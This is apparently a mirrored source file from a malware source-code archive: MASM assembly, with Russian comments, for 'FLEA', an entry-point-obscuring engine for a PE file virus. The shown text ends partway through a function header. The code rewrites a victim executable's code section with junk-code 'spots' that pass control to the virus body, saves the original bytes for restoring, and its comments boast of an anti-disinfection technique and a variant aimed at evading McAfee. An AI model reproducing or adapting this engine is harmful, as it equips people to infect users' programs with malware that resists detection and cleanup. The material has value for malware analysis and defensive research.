mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
776 lines
48 KiB
NASM
776 lines
48 KiB
NASM
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ;
|
||
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;
|
||
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;
|
||
; xxxx xxxx xxxx xxxx xxxx ;
|
||
; xxxx xxxx xxxx xxxx xxxx ;
|
||
; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;
|
||
; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;
|
||
; xxxx xxxx xxxx xxxx xx xxxx ;
|
||
; xxxx xxxx xxxx xxxx xxxx xxxx ;
|
||
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
|
||
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
|
||
; ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; UEP ENGINE ;
|
||
; FLEA ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; :)! ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; функция FLEA ;
|
||
; уеп(уёб) движок ;
|
||
; ;
|
||
; ;
|
||
;ВХОД: ;
|
||
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже) ;
|
||
;--------------------------------------------------------------------------------------------------------;
|
||
;ВЫХОД: ;
|
||
;EAX - абсолютный виртуальный адрес точки входа ;
|
||
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт ;
|
||
;--------------------------------------------------------------------------------------------------------;
|
||
;ЗАМЕТКИ: ;
|
||
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
|
||
;вызова данного движка остаются теми же. ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ! ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ОПИСАНИЕ СТРУКТУРЫ ;
|
||
; UEPGEN ;
|
||
; ;
|
||
; ;
|
||
;UEPGEN struct ;
|
||
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций ;
|
||
; mapped_addr dd ? ;база мэппинга файла (MapViewOfFile) ;
|
||
; xsection dd ? ;IMAGE_SECTION_HEADER секции, в которую после после передать управление ;
|
||
; reserved1 dd ? ;зарезервировано ;
|
||
;MORPHGEN ends ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ОПИСАНИЕ СТРУКТУРЫ ;
|
||
; T2GEN ;
|
||
; (aka TRASHGEN) ;
|
||
; (более детальное описание смотри в движке xTG) ;
|
||
; ;
|
||
; ;
|
||
;TRASHGEN struct ;
|
||
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
|
||
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
|
||
; regs dd ? ;занятые регистры (2 шт) ;
|
||
; xmask1 dd ? ;64-битная маска для генерации ;
|
||
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
|
||
; beg_addr dd ? ;начальный адрес ;
|
||
; end_addr dd ? ;конечный адрес ;
|
||
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
|
||
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
|
||
;TRASHGEN ends ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ! ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN: ;
|
||
; ;
|
||
; ;
|
||
;[ rgen_addr ] : ;
|
||
; так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору, ;
|
||
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
|
||
; хранится в (данном) поле структуры. ;
|
||
; ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который ;
|
||
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
|
||
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
|
||
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
|
||
; Остальные регистры должны остаться неизменными. Все. ;
|
||
;--------------------------------------------------------------------------------------------------------;
|
||
;[ tgen_addr ] : ;
|
||
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
|
||
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
|
||
; тип-топ). ;
|
||
;--------------------------------------------------------------------------------------------------------;
|
||
;[ mapped_addr ] : ;
|
||
; в этом поле хранится база мэппинга файла. Как пример, значение получаемое после ;
|
||
; вызова функи MapViewOfFile. ;
|
||
;--------------------------------------------------------------------------------------------------------;
|
||
;[ xsection ] : ;
|
||
; здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в ;
|
||
; которую после отработки должен будет передать управление данный uep-движок. ;
|
||
; Если здесь 0, то управление будет передано в конец последней секции. ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ЗАМЕТКИ ;
|
||
; ;
|
||
; ;
|
||
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA. ;
|
||
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется ;
|
||
; нужному участку памяти задать атрибуты страниц на чтение+запись). ;
|
||
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к ;
|
||
; следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после ;
|
||
; стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK, ;
|
||
; в стэке не должно быть уже никаких других данных. ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; y0p! ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ФИЧИ ;
|
||
; ;
|
||
; ;
|
||
;(+) генерация рандомного числа пятен ;
|
||
; ;
|
||
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот) ;
|
||
; ;
|
||
;(+) техника неизлечимости ;
|
||
; ;
|
||
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
|
||
; ;
|
||
;(+) базонезависимость ;
|
||
; ;
|
||
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi) ;
|
||
; ;
|
||
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
|
||
; * можно компилить как самостоятельный модуль; ;
|
||
; ;
|
||
;(+) не юзает WinAPI ;
|
||
; ;
|
||
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально) ;
|
||
; ;
|
||
;(x) использует данные и дельта-смещение. ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; y0p! ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
; ;
|
||
; ИСПОЛЬЗОВАНИЕ: ;
|
||
; ;
|
||
; ;
|
||
;1) Подключение: ;
|
||
; FLEA.asm ;
|
||
;2) Вызов (пример stdcall): ;
|
||
; ... ;
|
||
; szBuf db 100 dup (00h) ;
|
||
; ... ;
|
||
; lea ecx,szBuf ;
|
||
; assume ecx:ptr UEPGEN ;
|
||
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
|
||
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
|
||
; mov [ecx].mapped_addr,00330000h ;по этому адресу находится база мэппинга ;
|
||
; mov [ecx].xsection,0 ;ставим в ноль, значит уеп после передаст управление ;
|
||
; ;на конец последней секции ;
|
||
; ;остальные параметры обнулены. ;
|
||
; call FLEA ;вызываем полиморфный движок ;
|
||
; ;
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||
;v1.0
|
||
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
|
||
|
||
|
||
|
||
;m1x
|
||
;pr0mix@mail.ru
|
||
;EOF
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;========================================================================================================
|
||
;структуры
|
||
;========================================================================================================
|
||
UEPGEN struct
|
||
rgen_addr dd ?
|
||
tgen_addr dd ?
|
||
mapped_addr dd ?
|
||
xsection dd ?
|
||
reserved1 dd ?
|
||
UEPGEN ends
|
||
;--------------------------------------------------------------------------------------------------------
|
||
T2GEN struct ;
|
||
rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||
buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
|
||
size_trash dd ? ;размер (в байтах), сколько мусора записать ;
|
||
regs dd ? ;занятые регистры (2 шт) ;
|
||
xmask1 dd ? ;64-битная маска для генерации ;
|
||
xmask2 dd ? ;мусорных команд (ака фильтр) ;
|
||
beg_addr dd ? ;начальный адрес ;
|
||
end_addr dd ? ;конечный адрес ;
|
||
mapped_addr dd ? ;база мэпинга ;
|
||
reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
|
||
T2GEN ends ;
|
||
;========================================================================================================
|
||
|
||
|
||
|
||
|
||
MAX_SPOTS equ 10 ;максимальное кол-во генерируемых пятен
|
||
uportion1 equ 85 ;размер (в байтах) 1-ой порции мусора
|
||
uportion2 equ 50 ;размер (в байтах) 2-ой порции мусора
|
||
MIN_FIRST_PORTION equ uportion1-30 ;генерировать первую порцию мусора не меньше данного кол-ва байт
|
||
min_jmp equ uportion1+uportion2+7+10+30 ;расстояние минимальное
|
||
max_jmp equ min_jmp+200 ;расстояние максимальное
|
||
|
||
;далее идут значения для трэшгена
|
||
begin_address equ 0 ;начальный адрес (описание смотри в xTG.asm, либо ставь нули)
|
||
end_address equ 0 ;конечный адрес
|
||
mask_trash1 equ 00000000000011111111110101111001b ;маска для мусора
|
||
mask_trash2 equ 011110000b ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)
|
||
|
||
|
||
|
||
|
||
|
||
FLEA: ;движок FLEA
|
||
pushad ;сохраняем регистры
|
||
cld
|
||
mov ebp,esp ;[ebp+00]
|
||
mov ebx,dword ptr [ebp+24h]
|
||
assume ebx:ptr UEPGEN ;ebx - указатель на структуру UEPGEN
|
||
mov esi,[ebx].mapped_addr
|
||
assume esi:ptr IMAGE_DOS_HEADER
|
||
add esi,[esi].e_lfanew
|
||
push esi ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS
|
||
lodsd
|
||
assume esi:ptr IMAGE_FILE_HEADER
|
||
movzx ecx,[esi].NumberOfSections
|
||
movzx edx,[esi].SizeOfOptionalHeader
|
||
add esi,sizeof IMAGE_FILE_HEADER
|
||
assume esi:ptr IMAGE_OPTIONAL_HEADER
|
||
push [esi].AddressOfEntryPoint ;[ebp-08] ;сохраняем точку входа
|
||
push [esi].ImageBase ;[ebp-12] ;сохраняем базу
|
||
add esi,edx
|
||
assume esi:ptr IMAGE_SECTION_HEADER
|
||
sub esp,(sizeof T2GEN + 4 + 80) ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN)
|
||
mov tgen_struct,esp
|
||
mov edx,esp
|
||
assume edx:ptr T2GEN
|
||
;--------------------------------------------------------------------------------------------------------
|
||
push mask_trash1 ;пофильтруем маску для генерации трэша
|
||
call gen_mask
|
||
or al,1
|
||
mov xtmask1,eax
|
||
push mask_trash2
|
||
call gen_mask
|
||
or eax,01110000b
|
||
mov xtmask2,eax
|
||
;--------------------------------------------------------------------------------------------------------
|
||
push [ebx].rgen_addr ;вначале заполним некоторые поля структуры TRASHGEN
|
||
pop [edx].rgen_addr
|
||
mov [edx].regs,0FFh
|
||
push xtmask1
|
||
pop [edx].xmask1
|
||
push xtmask2
|
||
pop [edx].xmask2
|
||
mov [edx].beg_addr,begin_address
|
||
mov [edx].end_addr,end_address
|
||
push [ebx].mapped_addr
|
||
pop [edx].mapped_addr
|
||
xor eax,eax
|
||
cdq
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_search_new_ep_: ;далее начинаем поиск кодовой секции
|
||
cmp edx,[esi].VirtualAddress
|
||
ja _search_code_sec_
|
||
cmp eax,[esi].PointerToRawData
|
||
ja _search_code_sec_
|
||
mov edx,[esi].VirtualAddress ;а также сохраним новую точку входа (она будет указывать на конец последней секции)
|
||
mov eax,[esi].PointerToRawData
|
||
mov edi,[esi].SizeOfRawData
|
||
mov new_ep,edx
|
||
add new_ep,edi
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_search_code_sec_:
|
||
push eax
|
||
mov eax,old_ep
|
||
mov edi,[esi].VirtualAddress
|
||
cmp edi,eax;old_ep
|
||
ja _nextsection_
|
||
cmp [esi].Misc.VirtualSize,0
|
||
jne _vsok_
|
||
add edi,[esi].SizeOfRawData
|
||
jmp _psok_
|
||
_vsok_:
|
||
add edi,[esi].Misc.VirtualSize
|
||
_psok_:
|
||
cmp edi,eax
|
||
jbe _nextsection_
|
||
sub eax,[esi].VirtualAddress
|
||
add eax,[esi].PointerToRawData
|
||
add eax,[ebx].mapped_addr
|
||
mov start_addr,eax ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна
|
||
mov codesec,esi ;а также сохраним аказатель в табличке секций на кодовую секцию
|
||
_nextsection_:
|
||
pop eax
|
||
add esi,sizeof IMAGE_SECTION_HEADER
|
||
loop _search_new_ep_
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov esi,codesec ;после вычислим конец кодовой секции
|
||
mov eax,[esi].SizeOfRawData
|
||
cmp eax,[esi].Misc.VirtualSize
|
||
jbe _sizecsok_
|
||
cmp [esi].Misc.VirtualSize,0
|
||
je _sizecsok_
|
||
mov eax,[esi].Misc.VirtualSize
|
||
|
||
_sizecsok_:
|
||
add eax,[esi].VirtualAddress
|
||
sub eax,old_ep
|
||
mov size_codesec,eax
|
||
add eax,old_ep
|
||
mov max_codesec_addr,eax
|
||
mov edi,imNTh
|
||
assume edi:ptr IMAGE_NT_HEADERS
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_maxvacs_: ;далее, найдем максимальный адрес, и получится отрезок:
|
||
;[физич. адрес точки входа ; максимальный адрес в кодовой секции]
|
||
;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
|
||
;И если мы перепишем их своими пятнами, то будет пыцдэт файлу
|
||
mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress
|
||
cmp old_ep,eax
|
||
ja _nextdatadir_
|
||
cmp max_codesec_addr,eax
|
||
jb _nextdatadir_
|
||
mov max_codesec_addr,eax
|
||
_nextdatadir_:
|
||
inc ecx
|
||
cmp ecx,15
|
||
jne _maxvacs_
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov eax,max_codesec_addr
|
||
sub eax,[esi].VirtualAddress
|
||
add eax,[esi].PointerToRawData
|
||
add eax,[ebx].mapped_addr
|
||
mov max_codesec_addr,eax ;получаем максимальный физический адрес в кодовой секции
|
||
;Так, теперь диапазон у нас есть
|
||
mov eax,start_addr
|
||
mov cur_codesec_addr,eax
|
||
|
||
push MAX_SPOTS
|
||
call [ebx].rgen_addr ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию
|
||
inc eax
|
||
mov num_spots,eax
|
||
|
||
call _delta_uep_
|
||
_delta_uep_:
|
||
pop eax
|
||
sub eax,_delta_uep_
|
||
lea ecx,[restore_bytes+eax]
|
||
mov beg_rest_bytes,ecx ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами)
|
||
|
||
xor ecx,ecx
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_nextaddrforspots_:
|
||
call get_jmpaddr ;получим адрес очередного пятна, на которое прыгнем
|
||
add eax,cur_codesec_addr
|
||
push eax
|
||
add eax,(uportion1+uportion2+7+10) ;прибавим 2 порции мусора + max размер (mov reg,<address> call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte + 3 byte) + размер команды ret (+1 byte)
|
||
cmp eax,max_codesec_addr ;и сравним с максимальный допустимым адресом
|
||
pop eax
|
||
jae _alladdrforspots_ ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла
|
||
push eax ;иначе сохраняем в стэке адрес
|
||
mov cur_codesec_addr,eax ;сделаем текущим адресом проверки адрес для нового пятна
|
||
inc ecx
|
||
cmp ecx,num_spots
|
||
jne _nextaddrforspots_
|
||
_alladdrforspots_:
|
||
mov num_spots,ecx ;сохраним кол-во пятен, которые точно можно записать в кодовой секции
|
||
;--------------------------------------------------------------------------------------------------------
|
||
cmp cl,1
|
||
push 0
|
||
pop eax
|
||
jb _enduep_ ;если ноль пятен, то выходим из движка
|
||
mov eax,esp
|
||
push start_addr ;будем перемешивать все полученные адреса пятен, кроме первого
|
||
je _nomixaddr_
|
||
;--------------------------------------------------------------------------------------------------------
|
||
push ecx
|
||
push eax
|
||
call mix_addr ;перемешаем адреса пятен
|
||
|
||
_nomixaddr_:
|
||
xor edx,edx
|
||
mov edi,beg_rest_bytes
|
||
stosb ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его
|
||
mov cur_rest_bytes,edi
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_genspot_:
|
||
mov edi,cur_rest_bytes
|
||
_portion1_:
|
||
push uportion1
|
||
call [ebx].rgen_addr
|
||
cmp eax,MIN_FIRST_PORTION
|
||
jb _portion1_
|
||
mov spot1,eax
|
||
xchg eax,ecx
|
||
push uportion2
|
||
call [ebx].rgen_addr
|
||
mov spot2,eax
|
||
add ecx,eax
|
||
add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)
|
||
mov eax,ecx
|
||
stosd ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)
|
||
mov eax,dword ptr [esp]
|
||
mov esi,codesec
|
||
sub eax,[ebx].mapped_addr
|
||
sub eax,[esi].PointerToRawData
|
||
add eax,[esi].VirtualAddress
|
||
add eax,base
|
||
stosd ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты
|
||
mov esi,dword ptr [esp]
|
||
rep movsb ;а после сохраним байты, на место которых запишем пятно
|
||
mov cur_rest_bytes,edi
|
||
pop edi
|
||
push edx
|
||
mov edx,tgen_struct
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov [edx].buf_for_trash,edi
|
||
mov [edx].size_trash,6 ;размер пролога
|
||
mov [edx].xmask1,0b
|
||
mov [edx].xmask2,100b ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)
|
||
push edx
|
||
call [ebx].tgen_addr ;запишем пролог (push ebp mov ebp,esp sub esp,0xXX)
|
||
push xtmask1
|
||
pop [edx].xmask1
|
||
push xtmask2
|
||
pop [edx].xmask2
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov [edx].buf_for_trash,eax
|
||
mov eax,spot1
|
||
mov [edx].size_trash,eax
|
||
push edx
|
||
call [ebx].tgen_addr ;запишем первую порцию мусора
|
||
xchg eax,edi
|
||
push edi
|
||
add edi,5
|
||
mov eax,dword ptr [esp+04]
|
||
cmp eax,num_spots ;проверим, остался последний адрес для записи пятна?
|
||
jne _nextspot_ ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно
|
||
;********************************************************************************************************
|
||
comment %
|
||
;запись финального пятна
|
||
mov esi,codesec ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)
|
||
sub edi,[ebx].mapped_addr
|
||
sub edi,[esi].PointerToRawData
|
||
add edi,[esi].VirtualAddress
|
||
mov ecx,[ebx].xsection
|
||
jecxz _notxsec_
|
||
assume ecx:ptr IMAGE_SECTION_HEADER
|
||
sub edi,[ecx].VirtualAddress
|
||
sub edi,[ecx].SizeOfRawData ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||
jmp _finalcall_
|
||
_notxsec_:
|
||
sub edi,new_ep
|
||
_finalcall_:
|
||
neg edi
|
||
xchg edi,dword ptr [esp]
|
||
mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
;%
|
||
|
||
;comment ! ;for mcafe
|
||
mov edi,new_ep
|
||
mov ecx,[ebx].xsection
|
||
jecxz _notxsec_ ;если поле пустое, значит управление после уепа передаем в конец последней секции
|
||
assume ecx:ptr IMAGE_SECTION_HEADER
|
||
mov edi,[ecx].VirtualAddress
|
||
add edi,[ecx].SizeOfRawData
|
||
_notxsec_:
|
||
add edi,base ;а здесь строим
|
||
xchg edi,dword ptr [esp]
|
||
mov al,0B8h ;mov reg32,<address>
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
mov al,0FFh ;call reg32
|
||
stosb
|
||
mov al,0D0h
|
||
stosb
|
||
;!
|
||
mov [edx].buf_for_trash,edi
|
||
mov eax,spot2
|
||
mov [edx].size_trash,eax
|
||
push edx
|
||
call [ebx].tgen_addr ;2-ая порция мусора для финального пятна
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov [edx].buf_for_trash,eax
|
||
mov [edx].size_trash,3 ;размер эпилога
|
||
mov [edx].xmask1,0b
|
||
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
|
||
push edx
|
||
call [ebx].tgen_addr ;запишем эпилог для финального пятна (mov esp,ebp pop ebp)
|
||
mov byte ptr [eax],0C3h ;и запишем ret
|
||
;--------------------------------------------------------------------------------------------------------
|
||
pop edx
|
||
jmp _endspot_ ;выходим из цикла
|
||
;********************************************************************************************************
|
||
;запись очередного пятна
|
||
_nextspot_:
|
||
sub edi,dword ptr [esp+08] ;следующий адрес
|
||
neg edi
|
||
xchg edi,dword ptr [esp]
|
||
mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
mov [edx].buf_for_trash,edi
|
||
mov eax,spot2
|
||
mov [edx].size_trash,eax
|
||
push edx
|
||
call [ebx].tgen_addr ;2 порция мусора для очередного пятнышка
|
||
;--------------------------------------------------------------------------------------------------------
|
||
mov [edx].buf_for_trash,eax
|
||
mov [edx].size_trash,3 ;размер эпилога
|
||
mov [edx].xmask1,0b
|
||
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
|
||
push edx
|
||
call [ebx].tgen_addr ;запишем эпилог для очередного пятна (mov ebp,esp pop ebp)
|
||
mov byte ptr [eax],0C3h ;и запишем ret
|
||
;--------------------------------------------------------------------------------------------------------
|
||
pop edx
|
||
inc edx
|
||
jmp _genspot_
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_endspot_:
|
||
mov edi,beg_rest_bytes
|
||
mov eax,num_spots ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа)
|
||
inc eax
|
||
stosb
|
||
mov eax,start_addr
|
||
mov esi,codesec
|
||
sub eax,[ebx].mapped_addr
|
||
sub eax,[esi].PointerToRawData
|
||
add eax,[esi].VirtualAddress
|
||
add eax,base
|
||
;--------------------------------------------------------------------------------------------------------
|
||
_enduep_:
|
||
mov esp,ebp
|
||
mov dword ptr [ebp+1Ch],eax ;результат в EAX
|
||
popad
|
||
ret 4
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец дфункции/движка FLEA
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;функция FLEA_RESTBYTES
|
||
;восстановление ранее сохраненных байт (на свои места)
|
||
;ВЫХОД:
|
||
; - делает свое дело :)
|
||
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты)
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
FLEA_RESTBYTES:
|
||
pushad
|
||
cld
|
||
call _delta_ueprest_
|
||
_delta_ueprest_:
|
||
pop eax
|
||
sub eax,_delta_ueprest_
|
||
lea esi,[restore_bytes+eax]
|
||
push esi
|
||
xor eax,eax
|
||
lodsb
|
||
xchg eax,ebx ;сохраняем в EBX кол-во записанных пятен
|
||
mov edx,ebx
|
||
_nextrestspot_:
|
||
lodsd
|
||
xchg eax,ecx ;сохраняем в ECX размер очередного пятна
|
||
lodsd
|
||
xchg eax,edi ;сохраняем в EDI адрес, где находится очередное пятно
|
||
rep movsb ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты
|
||
dec ebx
|
||
jne _nextrestspot_
|
||
pop eax
|
||
sub esi,eax
|
||
xchg eax,esi
|
||
mov dword ptr [esp+1Ch],edx
|
||
popad
|
||
ret
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;конец функции FLEA_REST
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
|
||
|
||
|
||
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
;функция FLEA_RESTSTACK
|
||
;сбаланирование стэка после после пятен
|
||
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
|
||
;num_spots - количество отработанных в жертве пятен
|
||
; (это значение можно получить из буфера restore_bytes)
|
||
;ВЫХОД:
|
||
